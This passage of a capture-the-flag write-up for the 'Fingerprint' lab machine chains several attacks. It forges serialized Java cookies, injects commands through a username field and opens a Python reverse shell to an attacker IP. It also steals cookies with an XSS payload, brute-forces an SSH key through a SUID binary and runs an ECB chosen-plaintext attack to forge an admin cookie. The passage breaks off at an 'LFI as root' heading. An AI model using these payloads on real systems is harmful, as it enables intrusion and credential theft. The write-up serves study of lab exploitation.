ByteArrayOutputStream serializedUserOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedUserOutputStream);
objectOutputStream.writeObject(user);

String serializedAdminUserBase64 = Base64.getEncoder().encodeToString(serializedUserOutputStream.toByteArray());
System.out.println("\n[+] Serialization of the new user. \n" + serializedAdminUserBase64);
}
catch (IOException | ClassNotFoundException ex) {
System.out.println(ex.getMessage());
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// com/admin/security/src/model/User.java
package com.admin.security.src.model;

import java.io.Serializable;

class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;

private int id;
private String username;
private String password;
private String fingerprint;

public User() {
id = 0;
username = "";
password = "";
fingerprint = "";
}

int getId() {
return id;
}

String getUsername() {
return username;
}

String getPassword() {
return password;
}

String getFingerprint() {
return fingerprint;
}

void setId(int id) {
this.id = id;
}

void setUsername(String username) {
this.username = username;
}

void setPassword(String password) {
this.password = password;
}

void setFingerPrint(String fingerprint) {
this.fingerprint = fingerprint;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[[email protected] ~]$ javac com/admin/security/src/model/AdminSerialize.java
[[email protected] ~]$ java com.admin.security.src.model.AdminSerialize
[+] Cookie user information deserialized.
ID: 2
Username: micheal1235
Password: LWg7gUR1EmX7UNxsJxqZ
Fingerprint: 7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6

[+] Replacing username to 'admin' and serializing the Object.
ID: 2
Username: admin
Password: LWg7gUR1EmX7UNxsJxqZ
Fingerprint: 7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6

[+] Serialization of the new user.
rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQABWFkbWlu

Let’s use jwt.io to forge the new JWT:

https://user-images.githubusercontent.com/9076747/163730221-3b859aa4-7448-4a39-b7fa-26169416626c.png

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFCV0ZrYldsdSJ9.lPDqZy7OX9cBclkxmK9gAx4SWiad_YFrjezvJO1apCA

We can now replace our current cookie with the newly forged cookie to access the admin account.

https://user-images.githubusercontent.com/9076747/163730383-9cd288ba-5d3a-4057-a79c-a573d8a707bc.png

As admin the only additional function we seem to get is access to a “Recent Logs” display. At first sight it looks like this admin cookie doesn’t give us access to anything valuable.

Command Injection to Remote Code Execution

Once again let’s go back and check what we might have missed.
One thing I overlooked is the import of UserProfileStorage.java in the [Profile.java](http://Profile.java) file. The file is also accessible on the /backups/ folder, let’s take a look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// http://fingerprint.htb:8080/backups/UserProfileStorage.java
package com.admin.security.src.profile;

import com.admin.security.src.model.Profile;
import com.admin.security.src.model.User;
import com.admin.security.src.utils.SerUtils;
import com.admin.security.src.utils.Terminal;
import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;

import static com.admin.security.src.profile.Settings.AUTH_LOG;

@Data
@AllArgsConstructor
public class UserProfileStorage implements Serializable {
private static final long serialVersionUID = -5667788713462095525L;

private final User user;

private void readObject(final ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
readProfile();
}

public Profile readProfile() throws IllegalStateException {

final File profileFile = user.getProfileLocation();

try {
final Path path = Paths.get(profileFile.getAbsolutePath());
final byte[] content = Files.readAllBytes(path);

final Profile profile = (Profile) SerUtils.from(content);
if (profile.isAdminProfile()) { // load authentication logs only for super user
profile.getLogs().clear();
final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();
profile.getLogs().addAll(Arrays.asList(Terminal.run(cmd).split("\n")));
}
return profile;
} catch (final Exception e) {
throw new IllegalStateException("Error fetching profile");
}
}
}

The following part is very interesting:

1
2
3
4
5
if (profile.isAdminProfile()) { // load authentication logs only for super user
profile.getLogs().clear();
final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();
profile.getLogs().addAll(Arrays.asList(Terminal.run(cmd).split("\n")));
}

We can quickly identify a Command Injection vulnerability from the username field.

Let’s break it down to see how it can be exploited.

  1. We understand the admin profile file is being stored in /data/sessions/admin.ser
1
2
3
4
5
6
7
8
// User.java:39
public File getProfileLocation() {
final File dir = new File("/data/sessions/");
dir.mkdirs();

final String pathname = dir.getAbsolutePath() + "/" + username + ".ser";
return Paths.get(pathname).normalize().toFile();
}
  1. The application read the profile file to retrieve session information on the currently connected user.
1
2
// Profile.java:38
profile = new UserProfileStorage(user).readProfile();
  1. If the connected user is admin then the application uses grep and return the logs containing the string “admin”:
1
2
3
4
5
6
7
8
9
10
final Path path = Paths.get(profileFile.getAbsolutePath());
final byte[] content = Files.readAllBytes(path);

final Profile profile = (Profile) SerUtils.from(content);
if (profile.isAdminProfile()) { // load authentication logs only for super user
profile.getLogs().clear();
final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();
profile.getLogs().addAll(Arrays.asList(Terminal.run(cmd).split("\n")));
}
return profile;

Since we can control the username field through our cookie forging, we can very probably exploit the command injection vulnerability on grep " + user.getUsername();.
For example if we set our username to admin; id the following will be run by the application:

1
2
// "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();
$ cat /data/sessions/admin.ser | grep admin; id

Let’s create a new script to forge the malicious cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// com/admin/security/src/model/RCE.java
package com.admin.security.src.model;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class RCE {
public static void main(String[] args) throws IOException {

User user = new User();
final String cmd = args[0];

user.setUsername("$(" + cmd + ")");
user.setFingerPrint("x"); // setting id and password are not needed

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
objectOutputStream.close();
String cookie = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

System.out.println("[+] Injected command:\n" + cmd);
System.out.println("[+] Cookie:\n" + cookie);

System.out.println(getProfileLocation());

}
}

Let’s build it and grab our cookie:

1
2
3
4
5
6
[[email protected] ~]$ javac com/admin/security/src/model/RCE.java
[[email protected] ~]$ java com.admin.security.src.model.RCE "curl http://10.10.14.80:8000"
[+] Injected command:
curl http://10.10.14.80:8000
[+] Cookie:
rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAHQAAXh0AAB0AB8kKGN1cmwgaHR0cDovLzEwLjEwLjE0LjgwOjgwMDAp

And the application crash when setting this cookie…

The problem most likely comes from this line:

1
2
// User.java:43
final String pathname = dir.getAbsolutePath() + "/" + username + ".ser";

The application cannot find the correct admin.ser path since our username variable is $(curl http://10.10.14.80:8000). To bypass this issue we can take advantage of the normalize() being applied to the path on the following line.

1
2
// User.java:44
return Paths.get(pathname).normalize().toFile();

The normalize() method of java.nio.file.Path used to return a path from current path in which all redundant name elements are eliminated.
The precise definition of this method is implementation dependent and it derives a path that does not contain redundant name elements. In many file systems, the “.” and “..” are special names indicating the current directory and parent directory. In those cases all occurrences of “.” are considered redundant and If a “..” is preceded by a non-“..” name then both names are considered redundant.

After a few tries we can find the correct payload that will be normalized as /data/sessions/admin.ser but still achieve Command Injection when stored in the username field. We can write this little POC based on the [User.java](http://User.java) source code to make sure the payload is valid:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.nio.file.Paths;
import java.io.File;

public static File getProfileLocation() {
final File dir = new File("/data/sessions/");

final String pathname = dir.getAbsolutePath() + "/" + "$(curl http://10.10.14.80:8000)/../../admin" + ".ser";
System.out.println("Original Path: " + pathname);
System.out.println("Normalized Path: " + Paths.get(pathname).normalize());
}
// Output
// Received Path: /data/sessions/$(curl http://10.10.14.80:8000)/../../admin.ser
// Normalized Path: /data/sessions/admin.ser

Let’s update our script with the correct payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.admin.security.src.model;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class RCE {
public static void main(String[] args) throws IOException {

User user = new User();
final String cmd = args[0];

user.setUsername("$(" + cmd + ")/../../admin");
user.setFingerPrint("x"); // setting id and password are not needed

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
objectOutputStream.close();
String cookie = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

System.out.println("[+] Injected command:\n" + cmd);
System.out.println("[+] Cookie:\n" + cookie);

}
}

Generate the cookie and open a Python listener:

1
2
3
4
5
6
7
8
$ javac com/admin/security/src/model/RCE.java
$ java com.admin.security.src.model.RCE "curl http://10.10.14.80:8000"
[+] Injected command:
curl http://10.10.14.80:8000
[+] Cookie:
rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAHQAAXh0AAB0ACskKGN1cmwgaHR0cDovLzEwLjEwLjE0LjgwOjgwMDApLy4uLy4uL2FkbWlu
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And Bingo! Once we set up our new cookie we get a callback.

1
2
3
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.119.65 - - [18/Apr/2022 11:05:19] "GET / HTTP/1.1" 200 -

Using the same methodology we can upload a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[[email protected] ~]$ cat hg8.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.80",8585));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")RCE

[[email protected] ~]$ java com.admin.security.src.model.RCE "curl http://10.10.14.80:8000/hg8.py -o /tmp/hg8.py"
[+] Injected payload:
$(curl http://10.10.14.80:8000/hg8.py -o /tmp/hg8.py)/../../../../../admin
[+] Cookie:
rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAHQAAXh0AAB0AEokKGN1cmwgaHR0cDovLzEwLjEwLjE0LjgwOjgwMDAvaGc4LnB5IC1vIC90bXAvaGc4LnB5KS8uLi8uLi8uLi8uLi8uLi9hZG1pbg==

[[email protected] ~]$ java com.admin.security.src.model.RCE "python /tmp/hg8.py"
[+] Injected payload:
$(python /tmp/hg8.py)/../../../admin
[+] Cookie:
rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAHQAAXh0AAB0ACQkKHB5dGhvbiAvdG1wL2hnOC5weSkvLi4vLi4vLi4vYWRtaW4=

After setting the cookie we get our shell:

1
2
3
4
[[email protected] ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585
Connection received on fingerprint.htb 48072
[email protected]:/opt/glassfish5/glassfish/domains/domain1/config$

Pivot www-data →john

After a lot of enumeration as www-data on the box, the only thing that catches my eye is a SUID binary belonging to john called cmatch.
Sounds like the perfect way to pivot to john user.

1
2
3
4
5
[email protected]:/$ find / -perm -u=s -type f 2>/dev/null
[...]
/usr/bin/cmatch
[email protected]:/$ ls -la /usr/bin/cmatch
-rwsr-sr-x 1 john john 2261627 Sep 26 2021 /usr/bin/cmatch

It’s the first time I see this binary and I can’t seem to find information about it online. After a few trial and error we can understand it’s some kind of grep:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:/tmp$ cmatch
Incorrect number of arguments!
[email protected]:/tmp$ cmatch a
Incorrect number of arguments!
[email protected]:/tmp$ cmatch a b
open a: no such file or directory
[email protected]:/tmp$ echo hg8 > test
[email protected]:/tmp$ cmatch /tmp/test h
Found matches: 1
[email protected]:/tmp$ cmatch /tmp/test hg
Found matches: 1
[email protected]:/tmp$ cmatch /tmp/test hgd
Found matches: 0
[email protected]:/tmp$ cmatch /tmp/test hg8
Found matches: 1

Since cmatch is running as john, we can very probably brute-force the SSH key id_rsa belonging to the user john.

1
2
[email protected]:/$ cmatch /home/john/.ssh/id_rsa "-----BEGIN RSA PRIVATE KEY-----"
Found matches: 1

We can write a simple script to do this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os 
import string

chars = list(string.ascii_letters + string.digits)
chars.extend(['\n', '=', '/', '-', ":", ",", " ","\+"]) # add special chars commonly found in SSH keys

final_key = "-----BEGIN RSA PRIVATE KEY-----"

def bruteforce():
global final_key
for c in chars:
test_key = final_key + c
out = os.popen(f'cmatch /home/john/.ssh/id_rsa "{test_key}"').read()
if out == "Found matches: 1\n":
final_key += c
os.system('cls' if os.name == 'nt' else 'clear')
print(final_key)

if __name__ == "__main__":
while True:
bruteforce()

Let’s run it:

https://user-images.githubusercontent.com/9076747/164198016-31a1ff7c-bd60-4c8c-8f03-8dedbe49c27e.gif

Until we retrieve the full key:

1
2
3
4
5
6
7
8
9
10
11
12
13
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C310F9D86AE7CB5EA10046F9A215F423

ysiTr753RYpx1qkFJRvge/Dtu7rMEocAuCchOzAUgw9MqyPuI5M9m6KTvdB2E+SC
KI8IlmSbAAu0obdwTOuKD0QDGCMlXadI91WKkhALiLuw0JsxuviTqkjy/xQOJYu+
T4VCRI8vZoc5lfGRXnVsOJmrfTWc8f43YSD+j8dOFvdkHi0ud7xSQfqKyhDVsRyO
6qM2v5RnBJBktl7vwftG5vyk5vZjmx2u5BXTksuBrMUF2iZVtsoQ59L70CtIXP0M
g5HV4QZWRhSlS++i8W0GnWzCGANwiS18Z6CR4noSw80huaCIqWfwnoTXGJx91IDM
[...]
sq0H1EhWic++FzpFC1QjvmWlFIA8+KUt2BL0fz7RTQTfR0EGyZnZv9Dqe6QCneIE
U3tpTZByfgx+MI2LIM8GXjvhUOiM6DieB2OFWsR8JRyred2qFJOjz7fX5TUl9dQv
-----END RSA PRIVATE KEY-----

Let’s get a more stable shell and grab the flag:

1
2
3
4
5
[[email protected] ~]$ ssh -i id_rsa [email protected]

Last login: Wed Jan 26 16:38:01 2022
[email protected]:~$ cat user.txt
8a47xxxxxxxxxxxf9f

Root Flag

Recon

Looking around the files owned by john we stumble upon a backup folder of what looks like the main Flask app (/var/backups/flask-app-secure.bak).

Let’s now take a look at the backup.

1
2
[[email protected] ~]$ scp -i id_rsa [email protected]:/var/backups/flask-app-secure.bak flask-app-secure.bak
[[email protected] ~]$ unzip flask-app-secure.bak

The improvement file talks about a custom crypto, it’s a good indicator as to what to look for since custom crypto are, most of time, mot super strong.

1
2
3
4
[[email protected] ~]$ cat improvements
[x] fixed access control flaw
[x] introduced authorization
[x] safe authentication with custom crypto

So it seems like an improved version of the original Flask app. We can also guess it’s the one running on port 8088:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:~$ netstat -an --tcp --program
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8088 0.0.0.0:* LISTEN -
[email protected]:~$ curl localhost:8088 -I
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 10916
Server: Werkzeug/1.0.1 Python/2.7.17
Date: Mon, 18 Apr 2022 16:50:25 GMT

Let’s forward the port on our machine to work on it easily:

1
[[email protected] ~]$ ssh -L 8088:localhost:8088 -i id_rsa [email protected]

Reading through the source code of [app.py](http://app.py) we can see that an encryption logic has been added to the user cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# todo: use stronger passphrase before running app
SECRET = "password"
KEY = "mykey"

cryptor = AES.new(KEY, AES.MODE_ECB)

def decrypt(data):
result = cryptor.decrypt(data.decode("hex"))
pad_len = ord(result[-1])
return result[:-pad_len]

def encrypt(data):
# do some padding
block_size = 16
pad_size = block_size - len(data) % block_size
padding = chr(pad_size) * pad_size
data += padding
return cryptor.encrypt(data).encode('hex')

[...]

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == 'POST':
user = do_auth()
if user:
e = user[0].encode("utf-8") + "," + SECRET + "," + ("true" if user[2] else "false" )

print("setting cookie to "+ e)
resp = make_response()
resp.set_cookie("user_id", value=encrypt(e))
resp.headers['location'] = url_for('admin')
return resp, 302

return show_login()

[...]

@app.before_request
def load_user():
uid = request.cookies.get('user_id')

try:
g.uid = decrypt(uid)
print("decrypted to " + g.uid)
split = g.uid.split("," + SECRET + ",")
if g.uid:
g.name = split[0]
g.is_admin = split[1] == "true"
except Exception as e:
print(str(e))

Using the XSS we found earlier we can retrieve themicheal1235 cookie in order to analyze the format:

1
<script>document.location="http://10.10.14.80:8000/"+document.cookie</script>

We get the following cookie:

1
2
3
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.119.65 - - [18/Apr/2022 15:55:10] "GET /user_id=49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb HTTP/1.1" 404 -

Alright, so we know how the cookie is being created, its exact format and how it is encrypted.
If we find a way to retrieve the SECRET used to create the encrypted cookie we should be able to forge an admin cookie and authenticate as such.

ECB Attack

From the source code of [app.py](http://app.py) we know the encryption method used to create cookies is Electectronic Codebook (ECB).

Electronic codebook (ECB)
The simplest (and not to be used anymore) of the encryption modes is the electronic codebook (ECB) mode. The message is divided into blocks, and each block is encrypted separately.
The disadvantage of this method is a lack of diffusion. Because ECB encrypts identical plaintext blocks into identical ciphertext blocks, it does not hide data patterns well. ECB is not recommended for use in cryptographic protocols.
Wikipedia

In ECB mode, each block of plain-text is encrypted independently with the key as illustrated by the diagram below.

https://user-images.githubusercontent.com/9076747/164252769-66526746-ec42-4118-b50d-6b5c3dd08b04.png

Since each block of plain-text is encrypted with the key independently, identical blocks of plain-text will yield identical blocks of cipher-text.

For example if we had aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab string encrypted with ECB the output will look like so:

https://user-images.githubusercontent.com/9076747/164254008-7bde149a-bd72-4bf5-8e4e-ac08cc097458.png

Notice how the first two blocks have the same output because they have the same input (‘a’ * 16).

So if we have two 16 byte blocks with the same input, we’ll get the same output. This is the info leak we’ll be abusing (more info on ECB attacks).

Our current situation is perfect to perform an adaptive chosen plain-text attack in order to retrieve the app SECRET.

The first step needed to attack ECB encryption is determining the block size.

Determining ECB Block Size

To determine the block size we start sending specific lengths of plain-text into our cryptographic oracle (/profile/ endpoint of the Flask application).

With the code below we are sending an increasing number of characters (A) until the cipher-text (our cookie) increases by one block size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

session = requests.Session()
cookies = {
"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"
}

user_id_len = 128

new_user_id_len = 0
username_len = 1
while user_id_len >= new_user_id_len:
username = "A" * username_len
request = session.post("http://localhost:8088/profile", data={"new_name":username}, cookies=cookies, allow_redirects=False)
user_id = request.cookies['user_id']
new_user_id_len = len(user_id)
print(f"[+] Username: {username} ({username_len}) return a {new_user_id_len} bytes lengh cipher text")
print(user_id)
username_len+=1

print(f"[!] Block length is: {new_user_id_len} - {user_id_len} = {new_user_id_len - user_id_len}.")

Let’s run it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[[email protected] ~]$ python block_length.py 
[+] Username: A (1) return a 128 bytes lengh cipher text
a4ede69d8b7ae80488736180da942c916b0b44b082849f3f336032a5d82701dcb6ab4b8d35a059a661b415f31e899c1aaf04b1ea54c123c76cdae0970af2c7fb
[+] Username: AA (2) return a 128 bytes lengh cipher text
21405a0146941e37cdf7ff2946224b515bcd3a54dc29900348c7742a116bbc2622a2c0f8857d63242be7beff5fa037d4703df05f4323ab57c2e39aeb0e41a8df
[+] Username: AAA (3) return a 128 bytes lengh cipher text
08a6b38e239d0db0fba708c2ea3b70f960083b3cc2fa083da57e2592bde0753e10812508e65b4de30459aa6e9953d70e2b6177e92e4bf8d0dfccf12de355ea07
[+] Username: AAAA (4) return a 128 bytes lengh cipher text
50ed63bc99cd1420153555b126fcd3bfb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb
[+] Username: AAAAA (5) return a 128 bytes lengh cipher text
6da40f0d01d4f36ab4528ece20518bf92c4925c21dc4a69962e8a270c9547a89eddf64bea0c36bd8703fb69288e402f76cceb3dda6ec878825a2689fcd3a23c3
[+] Username: AAAAAA (6) return a 160 bytes lengh cipher text
ae3b506662b7a1baf069d0e782da6d5c391ce5c01f644c0b8b0cb73ccb8bf61a98d9ab274bae93825d183c60393be9d447cb89d331973b4a476b1e08185a668719945bb4f4e3fa4cb7f1ff42564675d0
[!] Block length is: 160 - 128 = 32.

At 6 characters, our cipher-text increases by one block size. By subtracting the input length between to block number increases we can find our block length (160 - 128 = 32 bytes).

ECB Attack

The next step is finding the offset of our chosen plain-text start. The offset can usually be found by prepending bytes in increasing length to block size * 2 of a static value until two consecutive blocks of cipher-text are found.

Thanks to the source code we know that we don’t need to calculate the offset of our plain-text (start as the first byte of a block):

1
2
# app.py
e = new_name + "," + SECRET + "," + ("true" if g.is_admin else "false" )

We can now start attacking the cipher-text. We’ll attack it by using a static value that’s block size - 1 in length (start_block_gap = 31). The last byte will get populated with a byte of unknown cipher-text and we record the resultant value as our reference value.

We can then brute-force the unknown byte by iterating though all possible values for the plain-text and comparing it to our reference value until we find a match.

We can come up with the following script in order to brute-force the secret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
from string import printable

session = requests.Session()
cookies = {"user_id": "49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}

block_size = 32
start_block_gap = 31
known = ',' # new_name to SECRET delimiter in app.py

def get_blocks(user_id):
new = []
for i in range(0, len(user_id), block_size):
new.append(user_id[i:i+block_size])
return new

while True:
request = session.post("http://127.0.0.1:8088/profile", data={"new_name": "A"*(start_block_gap - len(known))}, cookies=cookies, allow_redirects=False)
user_id = request.cookies['user_id']
reference_block = get_blocks(user_id)
# print("[+] Reference Payload:\n" + "A"*(start_block_gap - len(known)))
# print(f"[+] Reference block\n: {reference_block}")
for character in printable:
request = session.post("http://127.0.0.1:8088/profile", data={"new_name": "A"*(start_block_gap - len(known))+known+character}, cookies=cookies, allow_redirects=False)
user_id = request.cookies['user_id']
block = get_blocks(user_id)
# print("[+] Payload:\n" + "A"*(start_block_gap - len(known))+known+character)
# print(block)
if(block[1] == reference_block[1]):
print("[!] Reference block found!")
known += character
print(f"Current secret: {known}")

Running the attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[[email protected] ~]$ python ecb_attack.py
[!] Reference block found!
Current secret: ,7
[!] Reference block found!
Current secret: ,7h
[...]
Current secret: ,7h15_15_4_v3ry_57r0n6_4nd_uncr
Traceback (most recent call last):
File "/home/hg8/hackthebox/machines/fingerprint/root/att.py", line 22, in <module>
user_id = request.cookies['user_id']
File "/usr/lib/python3.10/site-packages/requests/cookies.py", line 328, in __getitem__
return self._find_no_duplicates(name)
File "/usr/lib/python3.10/site-packages/requests/cookies.py", line 399, in _find_no_duplicates
raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))
KeyError: "name='user_id', domain=None, path=None"

And we got an error. It’s because the secret seems to be more than 32 chars. After tweaking our script a bit to use 64 bytes instead (start_block_gap = 63 and block[3] == reference_block[3]) we manage to retrieve the full secret:

1
2
3
4
5
[[email protected] ~]$ python ecb_attack.py
[!] Reference block found!
Current secret: ,7h
[...]
Current secret: ,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,false

Alright, now that we have the secret can we find a way to login as admin ? Unfortunately we can only manipulate the username part of the cookie, but if we dig in the code a bit more we notice an interesting flaw in the cookie loading logic:

1
2
3
4
5
6
7
8
9
10
@app.before_request
def load_user():
uid = request.cookies.get('user_id')
try:
g.uid = decrypt(uid)
print("decrypted to " + g.uid)
split = g.uid.split("," + SECRET + ",")
if g.uid:
g.name = split[0]
g.is_admin = split[1] == "true"

The split is being run with "," + SECRET + "," in order to determine the username and if the user is Admin or not.

Knowing the secret we can append ,SECRET,true to our username like so hg8,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true and the application should trust us as admin when processing the cookie:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ python
Python 3.10.4 (main, Mar 23 2022, 23:05:40) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> SECRET = "7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!"
>>> uid = "hg8,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,false"
>>> split = uid.split("," + SECRET + ",")
>>> print(split)
['hg8', 'true', 'false']
>>> print(split[1])
true

Let’s now script this to create and receive the correct admin cookie:

1
2
3
4
5
6
7
8
9
10
import requests

start_block_gap = 64
known = ",7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true"
cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
s = requests.session()

r = s.post("http://127.0.0.1:8088/profile", data = {"new_name":"A"*(start_block_gap-len(known))+known}, cookies=cookies, allow_redirects=False)
user_id = r.cookies['user_id']
print(user_id)

Let’s run it:

1
2
[[email protected] ~]$ python admin_cookie.py
feb0765bda04614d2f52acc15414e80afb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef

LFI as root

